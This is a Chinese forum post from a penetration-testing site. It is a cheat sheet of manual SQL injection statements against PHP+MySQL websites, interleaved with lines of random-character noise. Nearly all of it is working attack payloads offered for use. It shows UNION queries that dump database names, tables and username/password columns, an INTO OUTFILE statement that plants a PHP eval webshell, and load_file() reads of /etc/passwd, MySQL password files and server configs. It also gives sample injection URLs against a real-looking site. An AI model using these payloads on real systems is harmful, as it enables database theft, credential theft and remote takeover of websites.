中国网络渗透测试联盟
标题:
PHP+MySQL 手工注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 13:50
标题:
PHP+MySQL 手工注入语句
.
5 B# v# v0 w9 r3 C+ a1 n; H6 Z5 K
) R1 \0 `& t& L: w' |4 u# D
暴字段长度
7 x7 h$ ~1 I0 A3 d8 F
Order by num/*
( w4 i8 n6 b% |: K
匹配字段
( u8 q% H+ I9 {! p' g
and 1=1 union select 1,2,3,4,5…….n/*
% k+ u' ?- Q! |7 Q: X7 r' N- ^8 }+ u
暴字段位置
$ r' @3 K6 w) ^: Z2 i0 H
and 1=2 union select 1,2,3,4,5…..n/*
1 s; }. u4 ~' b# _. d2 |1 i
利用内置函数暴数据库信息
9 L! J/ o5 _: t: I
version() database() user()
: A$ y+ L0 J" l) A/ A
不用猜解可用字段暴数据库信息(有些网站不适用):
% A" F5 ]2 t* ~* T9 Q O
and 1=2 union all select version() /*
4 H' j0 K9 d5 O8 ]5 o. m8 I
and 1=2 union all select database() /*
2 B, {: S1 l9 s& }- {+ {/ g
and 1=2 union all select user() /*
* {1 q, G( E) I' @
操作系统信息：
5 w" p3 }2 f3 v
and 1=2 union all select @@global.version_compile_os from mysql.user /*
t8 @/ G7 h9 ]! h6 {8 f
数据库权限：
* \1 T7 s/ M( C& I& c
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
5 h1 p# ?/ }8 _/ B' R
暴库 (mysql>5.0)
$ g4 u' W J* z8 e6 e
Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息
- x8 h# x9 h" |$ E. z
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
7 J- `9 U' y/ j# [6 x. K! G* u
猜表
1 @2 H0 _" `9 f5 m' h
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit 0（开始的记录，0为第一个开始记录）,1（显示1条记录）—
8 g3 o- [/ k, ^" y
猜字段
4 O( Y% ~* m# B7 _: M
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1
: X! ?; p/ z& _* v8 y
暴密码
6 p9 }: x/ r7 s8 m8 F! _: M0 `+ L
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
( }" I% E, \1 S. L
高级用法（一个可用字段显示两个数据内容）：
, p9 Q* o, K, N5 y1 k
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
2 X" E2 P. G3 ]$ Y4 b
直接写马(Root权限)
7 t8 k6 @ L+ w/ ~
条件：1、知道站点物理路径
4 u2 ]5 Z% \; i" Q! z
2、有足够大的权限（可以用select …. from mysql.user测试）
% {0 G' Q) g" G& a% q3 G
3、magic_quotes_gpc()=OFF
- W6 U, N6 |2 \, Z6 y! @3 ]
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
* P* d: d: W& M9 g/ }: d9 }- c' }
and 1=2 union all select 一句话HEX值 into outfile '路径'
6 d# _% H7 x7 N) r
load_file() 常用路径：
. r) E G& G; |
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
0 }! o7 n( V- P9 ~1 ^
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
}7 s. ^. f2 N# S
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
# o0 x, Q+ P3 {( I+ ^
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
) O& z5 l' Y( r7 O
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
3 K7 K4 A# o. @6 k. w' E
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
( q9 d: [$ U6 h) V: P6 C
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
; o& Y* s' q% R! _4 F, b/ Z4 |
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
. O8 L; d( _; t v+ o; \
8、d:\APACHE\Apache2\conf\httpd.conf
. p! x. N& q$ l5 a9 h5 F
9、C:\Program Files\mysql\my.ini
3 F* W! ?5 L3 a4 N- ^
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
0 q* a4 Z3 t3 J( }' @2 a2 W& @
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
) J( C* }9 E! Q# k: }. F
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
2 A$ q4 k# @3 d# O9 I& ] k6 h& \
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
$ f+ [! }9 _+ v, l& W& u2 H4 i
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
2 l; R6 U6 u9 S! \) n% V( [' T& M
15、 /etc/sysconfig/iptables 本看防火墙策略
4 q3 d) T9 ~& _
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
, O/ {3 g7 o" [0 c
17 、/etc/my.cnf MYSQL的配置文件
& P4 M9 f" { o9 }/ D' n
18、 /etc/redhat-release 红帽子的系统版本
7 W/ z7 j [: `4 r6 |
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
. f- o( ]0 I H0 Z7 g$ X
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
+ H1 Q( r6 n4 _/ l. J9 ?
21、/usr/local/app/php5 b/php.ini //PHP相关设置
' ^3 C" k' I1 g: s
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
5 ~) A ~1 E0 V
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
# B: X6 A+ p {" O6 X. p% G
24、c:\windows\my.ini
/ r% s4 F. U8 h. M, n+ O- E
25、c:\boot.ini
5 ]; N" P2 M; m
网站常用配置文件 config.inc.php、config.php。load_file（）时要用replace（load_file(HEX)，char(60),char(32)）
h$ B# k( f% y/ W
注：
; N& k, V: K1 C( g0 k, P. S* \% ~
Char(60)表示 <
' P7 @7 s% V, f+ S' o3 G3 ^" i
Char（32）表示 空格
~- p7 ]: U7 J6 S
手工注射时出现的问题：
( Z; A1 a' W8 N6 y( C7 q, Q
当注射后页面显示：
9 ]0 X8 N( k. O; R* n% D
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
( x* A k& p/ h
如：
http://www.hake.ccc./mse/researc ... 0union%20select%201
,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
4 H4 |; m8 T+ \' ~! R
这是由于前后编码不一致造成的，
; e' o0 W) D# p
解决方法：在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为：
6 }6 M' x! I. E- h
http://www.hake.cc/mse/research/ ... 0union%20select%201
,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
5 T4 z! S4 A+ X$ P# ]4 X! Z- V8 D
既可以继续注射了。。。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2